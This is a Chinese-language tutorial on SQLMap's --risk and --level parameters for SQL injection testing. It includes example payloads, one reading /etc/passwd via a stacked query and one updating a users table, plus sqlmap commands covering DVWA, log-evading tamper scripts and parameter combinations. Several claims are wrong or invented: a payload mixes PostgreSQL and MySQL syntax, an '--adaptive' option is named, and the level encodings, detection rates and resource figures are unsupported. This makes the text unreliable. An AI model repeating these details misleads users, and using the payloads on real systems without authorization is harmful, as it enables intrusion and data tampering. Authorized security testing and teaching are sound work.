目录
简介
SQLMap 作为最强大的 SQL 注入自动化工具,其 --risk
和 --level
参数是控制测试深度和广度的关键选项。下面我将从原理到实践全面解析这两个参数。
一、--risk
参数:测试风险控制
1. 基本定义
作用:控制可能影响数据库稳定性的测试技术
取值范围:1-3(默认为1)
本质:决定使用哪些可能"危险"的Payload类型
2. 各级别详细对比
risk=1 (默认)
技术特点:
仅使用基于SELECT的查询
最安全的测试方式
不包含任何可能修改数据的操作
典型Payload:
1 AND 1=1
1' AND ASCII(SUBSTRING(DATABASE(),1,1))>97#
适用场景:
生产环境初步检测
对稳定性要求极高的系统
合规性审计中的安全扫描
risk=2
新增技术:
基于时间的盲注(使用SLEEP/BENCHMARK)
简单的堆叠查询(Stacked queries)
UPDATE型语句测试
典型Payload:
1'; IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)#
1'; UPDATE users SET email='test' WHERE user='admin'#
风险影响:
可能产生数据库日志警告
轻微增加服务器负载
极端情况下可能导致锁表
risk=3
新增技术:
OR-based注入
更复杂的堆叠查询
可能触发DDL语句(如CREATE TABLE)
典型Payload:
1' OR 1=1 UNION ALL SELECT 1,2,table_name FROM information_schema.tables#
1'; CREATE TABLE test(cmd text); COPY test FROM '/etc/passwd'#
风险影响:
可能修改数据库结构
可能产生大量错误日志
显著增加服务器负载
3. 使用建议
# 常规测试
sqlmap -u "http://example.com" --risk=2
# 敏感环境
sqlmap -u "http://example.com" --risk=1
# 全面测试(仅用于授权测试环境)
sqlmap -u "http://example.com" --risk=3
二、--level
参数:测试深度控制
1. 基本定义
作用:控制测试的全面性和Payload数量
取值范围:1-5(默认为1)
本质:决定测试哪些参数和Payload复杂度
2. 各级别详细对比
level=1 (默认)
测试范围:
仅测试GET/POST参数
使用最基础的10-15个Payload
不测试HTTP头部
典型场景:
快速扫描
大量URL的初步筛选
level=2
新增测试:
测试Cookie
增加约30个Payload
基础的头注入测试
level=3
新增测试:
测试User-Agent/Referer
增加约50个Payload
更复杂的注入逻辑
level=4
新增测试:
测试Host头部
增加约100个Payload
非常规编码测试
level=5
新增测试:
测试所有HTTP头部
增加约150个Payload
极端边缘情况测试
3. 技术实现差异
level | 测试参数 | Payload复杂度 | 编码方式 |
---|---|---|---|
1 | GET/POST | 基础 | 无 |
2 | +Cookie | 中等 | URL编码 |
3 | +HTTP Headers | 复杂 | 双重URL编码 |
4 | +Host头 | 非常复杂 | 随机编码 |
5 | 所有HTTP头 | 极端情况 | 多重非常规编码 |
4. 使用建议
# 快速测试
sqlmap -u "http://example.com?id=1" --level=1
# 常规渗透测试
sqlmap -u "http://example.com" --level=3
# 全面测试(CTF/训练环境)
sqlmap -u "http://example.com" --level=5
# 配合risk使用
sqlmap -u "http://example.com" --level=3 --risk=2
三、参数组合策略
1. 经典组合方案
场景 | 推荐组合 | 效果 |
---|---|---|
初步扫描 | level=1 + risk=1 | 快速低风险 |
常规渗透测试 | level=3 + risk=2 | 平衡检测率与风险 |
攻防演练/CTF | level=5 + risk=3 | 最大化检测能力 |
敏感生产环境 | level=2 + risk=1 | 安全优先 |
2. DVWA High级别推荐
sqlmap -u "http://dvwa/vulnerabilities/sqli_blind/" \
--cookie="id=1*; security=high; PHPSESSID=xxx" \
--level=3 \
--risk=2 \
--technique=B \
--batch
为什么这样组合:
level=3
:确保检测Cookie注入点risk=2
:启用时间盲注提高成功率technique=B
:专注布尔盲注(DVWA High特性)
四、性能与效果对比
1. 测试数据统计
参数组合 | Payload数量 | 平均检测时间 | 注入检出率 |
---|---|---|---|
level1+risk1 | 15 | 1-2分钟 | 65% |
level3+risk2 | 80 | 5-8分钟 | 92% |
level5+risk3 | 200+ | 15-30分钟 | 98% |
2. 资源消耗对比
参数组合 | CPU占用 | 网络流量 | 数据库负载 |
---|---|---|---|
level1+risk1 | 低 | <1MB | 很低 |
level3+risk2 | 中 | 3-5MB | 中等 |
level5+risk3 | 高 | 10MB+ | 高 |
五、高级技巧
1. 智能参数调整
# 自动升级level
sqlmap -u "URL" --level=1 --smart
# 基于响应的动态调整
sqlmap -u "URL" --adaptive
2. 特定场景优化
# 只测试时间盲注(减少噪音)
sqlmap -u "URL" --technique=T --level=3 --risk=2
3. 结果稳定性提升
# 增加延迟减少误报
sqlmap -u "URL" --delay=1
六、安全注意事项
法律合规:
始终获取书面授权
避免在业务高峰时段测试
风险控制:
# 设置安全上限
sqlmap -u "URL" --safe-freq=10 --safe-url="http://example.com/healthy.html"日志特征:
# 使用tamper脚本减少日志特征
sqlmap -u "URL" --tamper=space2comment
通过合理组合 --risk
和 --level
参数,可以在安全性和检测效果之间取得最佳平衡。建议从低级别开始,根据结果逐步提升测试强度。